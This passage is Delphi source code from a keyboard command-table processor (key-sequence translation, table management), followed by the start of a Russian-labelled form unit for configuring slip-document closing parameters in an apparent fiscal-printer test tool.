TOvcCmdRec; begin System.Assign(T, FileName); System.Rewrite(T); try {finally} System.WriteLn(T, FTableName); {save the table name} for I := 0 to Count-1 do begin CR := GetCmdRec(I); with CR do System.WriteLn(T, Key1:4, SS1:4, Key2:4, SS2:4, Cmd:6); end; finally System.Close(T); end; end; {*** TCommandProcessor ***} procedure TOvcCommandProcessor.Add(CT : TOvcCommandTable); {-add a command table to the list of tables} var I : Integer; Base : AnsiString; Name : AnsiString; begin {make sure the table name is unique} I := 0; Base := CT.TableName; {remove trailing numbers from the name, forming the base name} while (Length(Base) > 1) and (Base[Length(Base)] in ['0'..'9']) do {$IFDEF Win32} {$IFOPT H+} SetLength(Base, Length(Base)-1); {$ELSE} Dec(Byte(Base[0])); {$ENDIF} {$ELSE} Dec(Byte(Base[0])); {$ENDIF} Name := Base; {keep appending numbers until we find a unique name} while GetCommandTable(Name) <> nil do begin Inc(I); Name := Base + Format('%d', [I]); end; if I > 0 then CT.TableName := Name; {add table to the list} FTableList.Add(CT); end; procedure TOvcCommandProcessor.AddCommand(const TableName: AnsiString; Key1, ShiftState1, Key2, ShiftState2 : Byte; Command : Word); {-add a command and key sequence to the command table} var CR : TOvcCmdRec; begin {fill temp command record} CR := cpFillCommandRec(Key1, ShiftState1, Key2, ShiftState2, Command); {add the command} AddCommandRec(TableName, CR); end; function TOvcCommandProcessor.AddCommand(const TableName : AnsiString; Key1 : Byte; ShiftState1 : TShiftState; Key2 : Byte; ShiftState2 : TShiftState; Command : Word): Word; //overload; {-add a command and key sequence to the command table} begin if (Command = ccNone) then begin while true do begin Command := Random(High(Command)); if (Command = ccNone) OR (Command = ccAccept) OR (Command = ccShortCut) OR (Command = ccSuppress) OR (Command = ccChar) OR (Command = ccMouse) OR (Command = ccMouseMove) OR (Command = ccDblClk) OR (Command = ccPartial) then continue; try AddCommand(TableName, Key1, OvcByteShift(ShiftState1), Key2, OvcByteShift(ShiftState2), Command); except on EDuplicateCommand do begin Command := 0; continue; end;//on EDuplicateCommand end;//try..except break; end;//while true end//Command = ccNone else AddCommand(TableName, Key1, OvcByteShift(ShiftState1), Key2, OvcByteShift(ShiftState2), Command); Result := Command; end; procedure TOvcCommandProcessor.AddCommandRec(const TableName: AnsiString; const CR : TOvcCmdRec); {-add a command record to the command table} var TmpTbl : TOvcCommandTable; begin {get the command table pointer} TmpTbl := GetCommandTable(TableName); if Assigned(TmpTbl) then begin {does this key sequence conflict with any others} if TmpTbl.IndexOf(CR) = -1 then {add the new command-key sequence} TmpTbl.AddRec(CR) else raise EDuplicateCommand.Create; end else raise ETableNotFound.Create; end; procedure TOvcCommandProcessor.ChangeTableName(const OldName, NewName: AnsiString); {-change the name of a table} var TmpTbl : TOvcCommandTable; begin TmpTbl := GetCommandTable(OldName); if Assigned(TmpTbl) then TmpTbl.TableName := NewName else raise ETableNotFound.Create; end; procedure TOvcCommandProcessor.Clear; {-delete all tables from the list} var I : Integer; begin {dispose of all command tables in the list} for I := 0 to Count - 1 do TOvcCommandTable(FTableList[I]).Free; {clear the list entries} FTableList.Clear; end; function TOvcCommandProcessor.cpFillCommandRec(Key1, ShiftState1, Key2, ShiftState2 : Byte; Command : Word) : TOvcCmdRec; {-fill a command record} begin Result.Key1 := Key1; Result.SS1 := ShiftState1; Result.Key2 := Key2; Result.SS2 := ShiftState2; Result.Cmd := Command; end; procedure TOvcCommandProcessor.cpReadData(Reader : TReader); var TmpTbl : TOvcCommandTable; begin {empty current table list} Clear; {read the start of list marker} Reader.ReadListBegin; while not Reader.EndOfList do begin {create a command table} TmpTbl := TOvcCommandTable.Create; {load commands into the table} TmpTbl.ctReadData(Reader); {add the new table to the table list} Add(TmpTbl); end; {read the end of list marker} Reader.ReadListEnd; end; function TOvcCommandProcessor.cpScanTable(CT : TOvcCommandTable; Key, SFlags : Byte) : Word; {-Scan the command table for a match} var J : Integer; begin {assume failed match} Result := ccNone; {scan the list of commands looking for a match} for J := 0 to CT.Count-1 do with CT[J] do begin {do we already have a partial command} if cpState = stPartial then begin {does first key/shift state match the saved key/shift state?} if (Key1 = cpSaveKey) and (SS1 = cpSaveSS) then {does the key match?} if (Key2 = Key) then {does the shift state match?} {or, is this the second key of a wordstar command} if (SS2 = SFlags) or ((SS2 = ss_Wordstar) and ((SFlags = ss_None) or (SFlags = ss_Ctrl))) then begin Result := Cmd; {return the command} {if the command is ccCtrlChar, next key is literal} if Cmd = ccCtrlChar then cpState := stLiteral else cpState := stNone; Exit; end; end else if (Key1 = Key) and (SS1 = SFlags) then begin {we have an initial key match} if Key2 = 0 then begin {no second key} Result := Cmd; {return the command} {if the command is ccCtrlChar, next key is literal} if Cmd = ccCtrlChar then cpState := stLiteral; Exit; end else begin {it's a partial command} Result := ccPartial; cpState := stPartial; {save the key and shift state} cpSaveKey := Key; cpSaveSS := SFlags; Exit; end; end; end; end; procedure TOvcCommandProcessor.cpWriteData(Writer: TWriter); var I : Integer; begin {write the start of list marker} Writer.WriteListBegin; {have each table write itself} for I := 0 to Count - 1 do TOvcCommandTable(FTableList[I]).ctWriteData(Writer); {write the end of list marker} Writer.WriteListEnd; end; function TOvcCommandProcessor.ProcessKeyDataListeners(aKey: Byte; aShiftFlags: Byte): Boolean; var l_Handled: Boolean; function lp_DoNotifyListener(anItem: PIl3KeyDataListener; anIndex: Integer): Boolean; var l_Listener: Il3KeyDataListener; begin l_Listener := anItem^; Assert(l_Listener <> nil); try if l_Listener.ProcessKeyData(aKey, aShiftFlags) then l_Handled := True; finally l_Listener := nil; end; Result := True; end;//lp_DoNotifyListener begin l_Handled := False; try f_KeyDataListeners.IterateAllF(l3L2IA(@lp_DoNotifyListener)); except on E: Exception do begin Assert(False, E.Message); end; end; Result := l_Handled; end; constructor TOvcCommandProcessor.Create; var I : Integer; S : AnsiString; begin inherited Create; f_KeyDataListeners := TOvcKeyDataListenerList.Create; {create an empty command table list} FTableList := TList.Create; {create and fill the default command table} S := scDefaultTableName; CreateCommandTable(S, True); for I := 0 to DefMaxCommands-1 do AddCommandRec(S, DefCommandTable[I]); {create and fill the WordStar command table} S := scWordStarTableName; CreateCommandTable(S, False {not active}); for I := 0 to DefWsMaxCommands-1 do AddCommandRec(S, DefWsCommandTable[I]); {create and fill the List command table} S := scListTableName; CreateCommandTable(S, False {not active}); for I := 0 to DefListMaxCommands-1 do AddCommandRec(S, DefListCommandTable[I]); {create and fill the Grid command table} S := scGridTableName; CreateCommandTable(S, False {not active}); for I := 0 to DefGridMaxCommands-1 do AddCommandRec(S, DefGridCommandTable[I]); ResetCommandProcessor; end; function TOvcCommandProcessor.CreateCommandTable(const TableName : AnsiString; Active : Boolean) : Integer; {-create a command table and add it to the table list} var TmpTbl : TOvcCommandTable; begin TmpTbl := TOvcCommandTable.Create; TmpTbl.TableName := TableName; TmpTbl.IsActive := Active; Add(TmpTbl); Result := FTableList.IndexOf(TmpTbl); end; procedure TOvcCommandProcessor.DefineProperties(Filer: TFiler); begin inherited DefineProperties(Filer); Filer.DefineProperty('TableList', cpReadData, cpWriteData, Count > 0); end; procedure TOvcCommandProcessor.Delete(Index : Integer); {-delete the "Index" table from the list of tables} begin if (Index >= 0) and (Index < Count) then begin {delete the command table} TOvcCommandTable(FTableList[Index]).Free; {remove it from the list} FTableList.Delete(Index); end else raise ETableNotFound.Create; end; procedure TOvcCommandProcessor.DeleteCommand(const TableName : AnsiString; Key1 : Byte; ShiftState1 : Byte = 0; Key2 : Byte = 0; ShiftState2 : Byte = ss_None); var I : Integer; CR : TOvcCmdRec; TmpTbl : TOvcCommandTable; begin {get the command table pointer} TmpTbl := GetCommandTable(TableName); if Assigned(TmpTbl) then begin {fill temp command record} CR := cpFillCommandRec(Key1, ShiftState1, Key2, ShiftState2, 0); {find index of entry} I := TmpTbl.IndexOf(CR); {if found, delete it -- no error if not found} if I > -1 then TmpTbl.Delete(I); end else raise ETableNotFound.Create; end; procedure TOvcCommandProcessor.DeleteCommandTable(const TableName : AnsiString); {-delete a command table and remove from the table list} var I : Integer; TmpTbl : TOvcCommandTable; begin TmpTbl := GetCommandTable(TableName);; if Assigned(TmpTbl) then begin I := FTableList.IndexOf(TmpTbl); Delete(I); end else raise ETableNotFound.Create; end; procedure TOvcCommandProcessor.Cleanup; begin if Assigned(FTableList) then begin Clear; FTableList.Free; end; FreeAndNil(f_KeyDataListeners); inherited; end; procedure TOvcCommandProcessor.Exchange(Index1, Index2 : Integer); {-exchange list locations of the two specified command tables} begin FTableList.Exchange(Index1, Index2); end; function TOvcCommandProcessor.GetTable(Index : Integer) : TOvcCommandTable; {-return the table referenced by "Index"} begin Result := TOvcCommandTable(FTableList[Index]); end; function TOvcCommandProcessor.GetCommandCount(const TableName : AnsiString) : Integer; {-return the number of commands in the command table} var TmpTbl : TOvcCommandTable; begin {get the command table pointer} TmpTbl := GetCommandTable(TableName); if Assigned(TmpTbl) then Result := TmpTbl.Count else raise ETableNotFound.Create; end; function TOvcCommandProcessor.GetCommandTable(const TableName : AnsiString) : TOvcCommandTable; {-return a pointer to the specified command table or nil} var I : Integer; begin Result := nil; for I := 0 To Count-1 do if UpperCase(TOvcCommandTable(FTableList[I]).TableName) = UpperCase(TableName) then begin Result := FTableList[I]; Break; end; end; function TOvcCommandProcessor.GetCommandTableIndex(const TableName : AnsiString) : Integer; {-return index to the specified command table or -1 for failure} var I : Integer; begin Result := -1; for I := 0 To Count-1 do if UpperCase(TOvcCommandTable(FTableList[I]).TableName) = UpperCase(TableName) then begin Result := I; Break; end; end; function TOvcCommandProcessor.GetCount : Integer; {-return the number of tables in the list} begin Result := FTableList.Count; end; procedure TOvcCommandProcessor.GetState(var State : TState; var Key, Shift : Byte); begin State := cpState; Key := cpSaveKey; Shift := cpSaveSS; end; function TOvcCommandProcessor.LoadCommandTable(const FileName : AnsiString) : Integer; {-creates and then fills a command table from a text file} var TmpTbl : TOvcCommandTable; begin TmpTbl := TOvcCommandTable.Create; try TmpTbl.LoadFromFile(FileName); Add(TmpTbl); Result := FTableList.IndexOf(TmpTbl); except TmpTbl.Free; raise; end; end; procedure TOvcCommandProcessor.ResetCommandProcessor; {-reset the command processor} begin cpState := stNone; cpSaveKey := VK_NONE; cpSaveSS := 0; end; procedure TOvcCommandProcessor.SaveCommandTable(const TableName, FileName : AnsiString); {-save a command table to a text file} var TmpTbl : TOvcCommandTable; begin TmpTbl := GetCommandTable(TableName); if Assigned(TmpTbl) then TmpTbl.SaveToFile(FileName); end; procedure TOvcCommandProcessor.SetScanPriority(const Names : array of AnsiString); {-reorder the list of tables based on this array} var I : Integer; Idx : Integer; TmpTbl : TOvcCommandTable; begin for I := 0 to Pred(High(Names)) do begin TmpTbl := GetCommandTable(Names[I]); if Assigned(TmpTbl) then begin Idx := FTableList.IndexOf(TmpTbl); if (Idx > -1) and (Idx <> I) then Exchange(I, Idx); end; end; end; procedure TOvcCommandProcessor.SetTable(Index : Integer; CT : TOvcCommandTable); {-store a command table at position "Index"} var P : TOvcCommandTable; begin if (Index >= 0) and (Index < Count) then begin P := FTableList[Index]; FTableList[Index] := CT; P.Free; end else raise ETableNotFound.Create; end; procedure TOvcCommandProcessor.SetState(State : TState; Key, Shift : Byte); begin cpState := State; cpSaveKey := Key; cpSaveSS := Shift; end; function TOvcCommandProcessor.GetTables: TOvcTablesArray; {-} var l_Index : Integer; begin SetLength(Result, Count); for l_Index := 0 to Count-1 do with TOvcCommandTable(FTableList[l_Index]) do if IsActive then Result[l_Index] := TableName; end; function TOvcCommandProcessor.Translate(var Msg : TMessage; aTime : Cardinal = 0; const aTarget : Il3CommandTarget = nil) : Word; {-translate a message into a command} begin Result := TranslateUsing(GetTables, Msg, aTime, aTarget); end; function TOvcCommandProcessor.TranslateKey(Key : Word; ShiftState : TShiftState) : Word; {-translate a key and shift-state into a command} var Command : Word; I : Integer; SS : Byte; {shift flags} begin {accept the key if no match found} Result := ccAccept; {check for shift state keys, note partial status and exit} case Key of VK_SHIFT, {shift} VK_CONTROL, {ctrl} VK_ALT, {alt} VK_CAPITAL, {caps lock} VK_NUMLOCK, {num lock} VK_SCROLL : {scroll lock} begin {if we had a partial command before, we still do} if cpState = stPartial then Result := ccPartial; Exit; end; end; {exit if this key is to be interpreted literally} if cpState = stLiteral then begin cpState := stNone; Exit; end; {get the current shift flags} SS := (Ord(ssCtrl in ShiftState) * ss_Ctrl) + (Ord(ssShift in ShiftState) * ss_Shift) + (Ord(ssAlt in ShiftState) * ss_Alt); Command := ccNone; for I := 0 to Count-1 do if TOvcCommandTable(FTableList[I]).IsActive then begin Command := cpScanTable(FTableList[I], Key, SS); if Command <> ccNone then Break; end; {if we found a match, return command and exit} if Command <> ccNone then begin Result := Command; Exit; end; {if we had a partial command, suppress this key} if cpState = stPartial then Result:= ccSuppress; cpState := stNone; end; function TOvcCommandProcessor.TranslateUsing(const Tables : array of AnsiString; var Msg : TMessage; aTime : Cardinal; const aTarget : Il3CommandTarget = nil) : Word; {-translate a message into a command using the given tables} var TmpTbl : TOvcCommandTable; Command : Word; K : Byte; {message key code} SS : Byte; {shift flags} function lDoExtCommand: Bool; {find in external table} begin//lDoExtCommand Result := false; if Assigned(OnExtCommand) and (ExtTableName <> '') then begin TmpTbl := GetCommandTable(ExtTableName); if Assigned(TmpTbl) then begin Command := cpScanTable(TmpTbl, K, SS); if (Command <> ccNone) then if OnExtCommand(Command) then begin Result := true; cpState := stNone; TranslateUsing := ccShortCut; Command := ccShortCut; end else Command := ccNone; end;//Assigned(TmpTbl) end;//Assigned(OnExtCommand).. end;//lDoExtCommand function lDoCustomCommand: Word; {find in Tables} var I : Integer; l_Name : AnsiString; l_Publisher: Il3CommandPublisherInfo; begin//lDoCustomCommand Result := ccNone; for I := 0 to High(Tables) do begin l_Name := Tables[I]; if (cpState = stPartial) AND (f_LastTable <> l_Name) then begin Command := ccSuppress; continue; end;//cpState = stPartial.. TmpTbl := GetCommandTable(l_Name); if Assigned(TmpTbl) then begin Command := cpScanTable(TmpTbl, K, SS); if (Command <> ccNone) then begin if (aTarget <> nil) then begin if Supports(aTarget, Il3CommandPublisherInfo, l_Publisher) and l_Publisher.IsCommandPublished(Command) then Command := ccNone else begin Result := Command; if aTarget.ProcessCommand(Command, false, Lo(TWMKey(Msg).KeyData)) then Command := ccShortCut else Command := ccNone; end; end;//aTarget <> nil f_LastTable := l_Name; Break; end;//Command <> ccNone end;//Assigned(TmpTbl) end;//for I end;//lDoCustomCommand var l_Command : Word; begin if (f_LastTime = aTime) AND l3StringArrayEQ(f_LastCommands, Tables) then // - это то же самое нажатие begin Result := f_LastCommand; end else try {accept the key if no match found} Result := ccAccept; {check for shift state keys, note partial status and exit} K := Lo(Msg.wParam); case K of VK_SHIFT, {shift} VK_CONTROL, {ctrl} VK_ALT, {alt} VK_CAPITAL, {caps lock} VK_NUMLOCK, {num lock} VK_SCROLL : {scroll lock} begin {if we had a partial command before, we still do} if cpState = stPartial then Result := ccPartial; Exit; end; end;//case K of {get out if this key is to be interpreted literally} if (cpState = stLiteral) then begin cpState := stNone; Exit; end;//cpState = stLiteral {get the current shift flags} SS := GetShiftFlags; if ProcessKeyDataListeners(K, SS) then begin cpState := stNone; TranslateUsing := ccShortCut; Command := ccShortCut; Exit; end; Command := ccNone; {find in stop external table} if (StopExtTableName <> '') then begin TmpTbl := GetCommandTable(StopExtTableName); if Assigned(TmpTbl) then Command := cpScanTable(TmpTbl, K, SS); end;//StopExtTableName <> '' if (Command <> ccNone) then begin Command := ccNone; if lDoExtCommand then // - это если VCM обработал Exit; lDoCustomCommand; // - передаем в контрол end//Command <> ccNone else begin l_Command := lDoCustomCommand; if (Command = ccNone) then begin // - это если контрол не обработал if not lDoExtCommand then // - передаем в VCM if (l_Command <> ccNone) AND (aTarget <> nil) then begin // - повторно передаем в контрол Command := l_Command; if aTarget.ProcessCommand(l_Command, true, Lo(TWMKey(Msg).KeyData)) then Command := ccShortCut else Command := ccNone; end;//aTarget <> nil end;//Command = ccNone end;//Command <> ccNone {if we found a match, return command and exit} if (Command <> ccNone) then begin Result := Command; Exit; end;//Command <> ccNone {if we had a partial command, suppress this key} if cpState = stPartial then Result := ccSuppress; cpState := stNone; finally f_LastTime := aTime; f_LastCommand := Result; f_LastCommands := l3StringArray(Tables); end;//try..finally end; function TOvcCommandProcessor.TranslateKeyUsing(Tables : array of AnsiString; Key : Word; ShiftState : TShiftState) : Word; {-translate a Key and shift-state into a command using the given tables} var TmpTbl : TOvcCommandTable; Command : Word; I : Integer; SS : Byte; {shift flags} begin {accept the key if no match found} Result := ccAccept; {check for shift state keys, note partial status and exit} case Key of VK_SHIFT, {shift} VK_CONTROL, {ctrl} VK_ALT, {alt} VK_CAPITAL, {caps lock} VK_NUMLOCK, {num lock} VK_SCROLL : {scroll lock} begin {if we had a partial command before, we still do} if cpState = stPartial then Result := ccPartial; Exit; end; end; {get out if this key is to be interpreted literally} if cpState = stLiteral then begin cpState := stNone; Exit; end; {get the shift flags} SS := (Ord(ssCtrl in ShiftState) * ss_Ctrl) + (Ord(ssShift in ShiftState) * ss_Shift) + (Ord(ssAlt in ShiftState) * ss_Alt); Command := ccNone; for I := 0 to High(Tables) do begin TmpTbl := GetCommandTable(Tables[I]); if Assigned(TmpTbl) then begin Command := cpScanTable(TmpTbl, Key, SS); if Command <> ccNone then Break; end; end; {if we found a match, return command and exit} if Command <> ccNone then begin Result := Command; Exit; end; {if we had a partial command, suppress this key} if cpState = stPartial then Result:= ccSuppress; cpState := stNone; end; procedure TOvcCommandProcessor.SubscribeGlobalKeyDataListener(const aListener: Il3KeyDataListener); {-} begin Assert(aListener <> nil); Assert(f_KeyDataListeners.IndexOf(aListener) = -1); f_KeyDataListeners.Add(aListener); end; procedure TOvcCommandProcessor.UnsubscribeGlobalKeyDataListener(const aListener: Il3KeyDataListener); {-} begin Assert(aListener <> nil); if (f_KeyDataListeners.IndexOf(aListener) <> -1) then f_KeyDataListeners.Remove(aListener); end; end.
unit fmuSlipClose; interface uses // VCL Windows, StdCtrls, Controls, Classes, SysUtils, ExtCtrls, Buttons, ComCtrls, Spin, Grids, ValEdit, // This untPages, untDriver, untUtil, untTypes, untTestParams; type { TfmSlipClose } TfmSlipClose = class(TPage) lblCount: TLabel; btnStandardCloseCheckOnSlipDocument: TBitBtn; btnCloseCheckOnSlipDocument: TBitBtn; vleParams: TValueListEditor; btnLoadFromTables: TButton; btnDefaultValues: TButton; btnSaveToTables: TButton; seCount: TSpinEdit; procedure btnCloseCheckOnSlipDocumentClick(Sender: TObject); procedure btnStandardCloseCheckOnSlipDocumentClick(Sender: TObject); procedure vleParamsDrawCell(Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState); procedure btnLoadFromTablesClick(Sender: TObject); procedure btnDefaultValuesClick(Sender: TObject); procedure btnSaveToTablesClick(Sender: TObject); procedure vleParamsSetEditText(Sender: TObject; ACol, ARow: Integer; const Value: String); procedure FormResize(Sender: TObject); private function GetFloatItem(const AName: string): Double; function GetCurrItem(const AName: string): Currency; function LoadFromTables: Integer; function SaveToTables: Integer; public procedure UpdatePage; override; procedure UpdateObject; override; procedure Initialize; override; end; implementation uses Forms; {$R *.DFM} const C_StringForPrinting = 'Строка'; C_Summ1 = 'Cумма 1'; C_Summ2 = 'Сумма 2'; C_Summ3 = 'Сумма 3'; C_Summ4 = 'Сумма 4'; C_DiscountOnCheck = 'Скидка'; C_Tax = 'Налог'; C_Tax1 = 'Налог 1'; C_Tax2 = 'Налог 2'; C_Tax3 = 'Налог 3'; C_Tax4 = 'Налог 4'; const CloseSlipParams: array[0..4] of TIntParam = ( (Name: C_Summ1; Value: 100), (Name: C_Summ2; Value: 0), (Name: C_Summ3; Value: 0), (Name: C_Summ4; Value: 0), (Name: C_DiscountOnCheck; Value: 0) ); CloseSlipExParams: array[0..109] of TIntParam = ( (Name: 'Количество строк в операции'; Value: 17), (Name: 'Строка итога'; Value: 2), (Name: 'Строка текста'; Value: 1), (Name: 'Строка наличных'; Value: 3), (Name: 'Строка оплаты 2'; Value: 4), (Name: 'Строка оплаты 3'; Value: 5), (Name: 'Строка оплаты 4'; Value: 6), (Name: 'Строка сдачи'; Value: 7), (Name: 'Строка оборота по налогу А'; Value: 8), (Name: 'Строка оборота по налогу Б'; Value: 9), (Name: 'Строка оборота по налогу В'; Value: 10), (Name: 'Строка оборота по налогу Г'; Value: 11), (Name: 'Строка суммы по налогу А'; Value: 12), (Name: 'Строка суммы по налогу Б'; Value: 13), (Name: 'Строка суммы по налогу В'; Value: 14), (Name: 'Строка суммы по налогу Г'; Value: 15), (Name: 'Строка суммы до начисления скидки'; Value: 16), (Name: 'Строка суммы скидки'; Value: 17), (Name: 'Шрифт текста'; Value: 1), (Name: 'Шрифт "ИТОГ"'; Value: 2), (Name: 'Шрифт суммы итога'; Value: 2), (Name: 'Шрифт "НАЛИЧНЫМИ"'; Value: 1), (Name: 'Шрифт суммы наличных'; Value: 1), (Name: 'Шрифт названия типа оплаты 2'; Value: 1), (Name: 'Шрифт суммы типа оплаты 2'; Value: 1), (Name: 'Шрифт названия типа оплаты 3'; Value: 1), (Name: 'Шрифт суммы типа оплаты 3'; Value: 1), (Name: 'Шрифт названия типа оплаты 4'; Value: 1), (Name: 'Шрифт суммы типа оплаты 4'; Value: 1), (Name: 'Шрифт "СДАЧА"'; Value: 1), (Name: 'Шрифт суммы сдачи'; Value: 1), (Name: 'Шрифт названия налога А'; Value: 1), (Name: 'Шрифт оборота налога А'; Value: 1), (Name: 'Шрифт ставки налога А'; Value: 1), (Name: 'Шрифт суммы налога А'; Value: 1), (Name: 'Шрифт названия налога Б'; Value: 1), (Name: 'Шрифт оборота налога Б'; Value: 1), (Name: 'Шрифт ставки налога Б'; Value: 1), (Name: 'Шрифт суммы налога Б'; Value: 1), (Name: 'Шрифт названия налога В'; Value: 1), (Name: 'Шрифт оборота налога В'; Value: 1), (Name: 'Шрифт ставки налога В'; Value: 1), (Name: 'Шрифт суммы налога В'; Value: 1), (Name: 'Шрифт названия налога Г'; Value: 1), (Name: 'Шрифт оборота налога Г'; Value: 1), (Name: 'Шрифт ставки налога Г'; Value: 1), (Name: 'Шрифт суммы налога Г'; Value: 1), (Name: 'Шрифт "ВСЕГО"'; Value: 1), (Name: 'Шрифт суммы до начисления скидки'; Value: 1), (Name: 'Шрифт скидки в %'; Value: 1), (Name: 'Шрифт суммы скидки'; Value: 1), (Name: 'Количество символов текста'; Value: 40), (Name: 'Количество символов суммы итога'; Value: 40), (Name: 'Количество символов суммы наличных'; Value: 40), (Name: 'Количество символов суммы типа оплаты 2'; Value: 40), (Name: 'Количество символов суммы типа оплаты 3'; Value: 40), (Name: 'Количество символов суммы типа оплаты 4'; Value: 40), (Name: 'Количество символов суммы сдачи'; Value: 40), (Name: 'Количество символов названия налога А'; Value: 40), (Name: 'Количество символов оборота налога А'; Value: 40), (Name: 'Количество символов ставки налога А'; Value: 40), (Name: 'Количество символов суммы налога А'; Value: 40), (Name: 'Количество символов названия налога Б'; Value: 40), (Name: 'Количество символов оборота налога Б'; Value: 40), (Name: 'Количество символов ставки налога Б'; Value: 40), (Name: 'Количество символов суммы налога Б'; Value: 40), (Name: 'Количество символов названия налога В'; Value: 40), (Name: 'Количество символов оборота налога В'; Value: 40), (Name: 'Количество символов ставки налога В'; Value: 40), (Name: 'Количество символов суммы налога В'; Value: 40), (Name: 'Количество символов названия налога Г'; Value: 40), (Name: 'Количество символов оборота налога Г'; Value: 40), (Name: 'Количество символов ставки налога Г'; Value: 40), (Name: 'Количество символов суммы налога Г'; Value: 40), (Name: 'Количество символов суммы до начисления скидки'; Value: 40), (Name: 'Количество символов скидки в %'; Value: 40), (Name: 'Количество символов суммы скидки'; Value: 40), (Name: 'Смещение текста'; Value: 1), (Name: 'Смещение "ИТОГ"'; Value: 1), (Name: 'Смещение суммы итога'; Value: 10), (Name: 'Смещение "НАЛИЧНЫМИ"'; Value: 2), (Name: 'Смещение суммы наличных'; Value: 20), (Name: 'Смещение названия типа оплаты 2'; Value: 2), (Name: 'Смещение суммы типа оплаты 2'; Value: 20), (Name: 'Смещение названия типа оплаты 3'; Value: 2), (Name: 'Смещение суммы типа оплаты 3'; Value: 20), (Name: 'Смещение названия типа оплаты 4'; Value: 2), (Name: 'Смещение суммы типа оплаты 4'; Value: 20), (Name: 'Смещение "СДАЧА"'; Value: 1), (Name: 'Смещение суммы сдачи'; Value: 20), (Name: 'Смещение названия налога А'; Value: 1), (Name: 'Смещение оборота налога А'; Value: 1), (Name: 'Смещение ставки налога А'; Value: 1), (Name: 'Смещение суммы налога А'; Value: 1), (Name: 'Смещение названия налога Б'; Value: 1), (Name: 'Смещение оборота налога Б'; Value: 1), (Name: 'Смещение ставки налога Б'; Value: 1), (Name: 'Смещение суммы налога Б'; Value: 1), (Name: 'Смещение названия налога В'; Value: 1), (Name: 'Смещение оборота налога В'; Value: 1), (Name: 'Смещение ставки налога В'; Value: 1), (Name: 'Смещение суммы налога В'; Value: 1), (Name: 'Смещение названия налога Г'; Value: 1), (Name: 'Смещение оборота налога Г'; Value: 1), (Name: 'Смещение ставки налога Г'; Value: 1), (Name: 'Смещение суммы налога Г'; Value: 1), (Name: 'Смещение "ВСЕГО"'; Value: 1), (Name: 'Смещение суммы до начисления скидки'; Value: 20), (Name: 'Смещение скидки в %'; Value: 1), (Name: 'Смещение суммы скидки'; Value: 20) ); { TfmSlipClose } procedure TfmSlipClose.UpdateObject; function GetVal(Row: Integer): Integer; begin Result := StrToInt(Trim(vleParams.Cells[1, Row + 13])); end; begin // Основные параметры Driver.OperationBlockFirstString := seCount.Value; Driver.Summ1 := GetCurrItem(C_Summ1); Driver.Summ2 := GetCurrItem(C_Summ2); Driver.Summ3 := GetCurrItem(C_Summ3); Driver.Summ4 := GetCurrItem(C_Summ4); Driver.DiscountOnCheck := GetFloatItem(C_DiscountOnCheck); Driver.StringForPrinting := VLE_GetPropertyValue(vleParams, C_StringForPrinting); Driver.Tax1 := VLE_GetPickPropertyValue(vleParams, C_Tax1); Driver.Tax2 := VLE_GetPickPropertyValue(vleParams, C_Tax2); Driver.Tax3 := VLE_GetPickPropertyValue(vleParams, C_Tax3); Driver.Tax4 := VLE_GetPickPropertyValue(vleParams, C_Tax4); // Дополнительные параметры Driver.StringQuantityinOperation := GetVal(0); Driver.TotalStringNumber := GetVal(1); Driver.TextStringNumber := GetVal(2); Driver.Summ1StringNumber := GetVal(3); Driver.Summ2StringNumber := GetVal(4); Driver.Summ3StringNumber := GetVal(5); Driver.Summ4StringNumber := GetVal(6); Driver.ChangeStringNumber := GetVal(7); Driver.Tax1TurnOverStringNumber := GetVal(8); Driver.Tax2TurnOverStringNumber := GetVal(9); Driver.Tax3TurnOverStringNumber := GetVal(10); Driver.Tax4TurnOverStringNumber := GetVal(11); Driver.Tax1SumStringNumber := GetVal(12); Driver.Tax2SumStringNumber := GetVal(13); Driver.Tax3SumStringNumber := GetVal(14); Driver.Tax4SumStringNumber := GetVal(15); Driver.SubTotalStringNumber := GetVal(16); Driver.DiscountOnCheckStringNumber := GetVal(17); Driver.TextFont := GetVal(18); Driver.TotalFont := GetVal(19); Driver.TotalSumFont := GetVal(20); Driver.Summ1NameFont := GetVal(21); Driver.Summ1Font := GetVal(22); Driver.Summ2NameFont := GetVal(23); Driver.Summ2Font := GetVal(24); Driver.Summ3NameFont := GetVal(25); Driver.Summ3Font := GetVal(26); Driver.Summ4NameFont := GetVal(27); Driver.Summ4Font := GetVal(28); Driver.ChangeFont := GetVal(29); Driver.ChangeSumFont := GetVal(30); Driver.Tax1NameFont := GetVal(31); Driver.Tax1TurnOverFont := GetVal(32); Driver.Tax1RateFont := GetVal(33); Driver.Tax1SumFont := GetVal(34); Driver.Tax2NameFont := GetVal(35); Driver.Tax2TurnOverFont := GetVal(36); Driver.Tax2RateFont := GetVal(37); Driver.Tax2SumFont := GetVal(38); Driver.Tax3NameFont := GetVal(39); Driver.Tax3TurnOverFont := GetVal(40); Driver.Tax3RateFont := GetVal(41); Driver.Tax3SumFont := GetVal(42); Driver.Tax4NameFont := GetVal(43); Driver.Tax4TurnOverFont := GetVal(44); Driver.Tax4RateFont := GetVal(45); Driver.Tax4SumFont := GetVal(46); Driver.SubTotalFont := GetVal(47); Driver.SubTotalSumFont := GetVal(48); Driver.DiscountOnCheckFont := GetVal(49); Driver.DiscountOnCheckSumFont := GetVal(50); Driver.TextSymbolNumber := GetVal(51); Driver.TotalSymbolNumber := GetVal(52); Driver.Summ1SymbolNumber := GetVal(53); Driver.Summ2SymbolNumber := GetVal(54); Driver.Summ3SymbolNumber := GetVal(55); Driver.Summ4SymbolNumber := GetVal(56); Driver.ChangeSymbolNumber := GetVal(57); Driver.Tax1NameSymbolNumber := GetVal(58); Driver.Tax1TurnOverSymbolNumber := GetVal(59); Driver.Tax1RateSymbolNumber := GetVal(60); Driver.Tax1SumSymbolNumber := GetVal(61); Driver.Tax2NameSymbolNumber := GetVal(62); Driver.Tax2TurnOverSymbolNumber := GetVal(63); Driver.Tax2RateSymbolNumber := GetVal(64); Driver.Tax2SumSymbolNumber := GetVal(65); Driver.Tax3NameSymbolNumber := GetVal(66); Driver.Tax3TurnOverSymbolNumber := GetVal(67); Driver.Tax3RateSymbolNumber := GetVal(68); Driver.Tax3SumSymbolNumber := GetVal(69); Driver.Tax4NameSymbolNumber := GetVal(70); Driver.Tax4TurnOverSymbolNumber := GetVal(71); Driver.Tax4RateSymbolNumber := GetVal(72); Driver.Tax4SumSymbolNumber := GetVal(73); Driver.SubTotalSymbolNumber := GetVal(74); Driver.DiscountOnCheckSymbolNumber := GetVal(75); Driver.DiscountOnCheckSumSymbolNumber := GetVal(76); Driver.TextOffset := GetVal(77); Driver.TotalOffset := 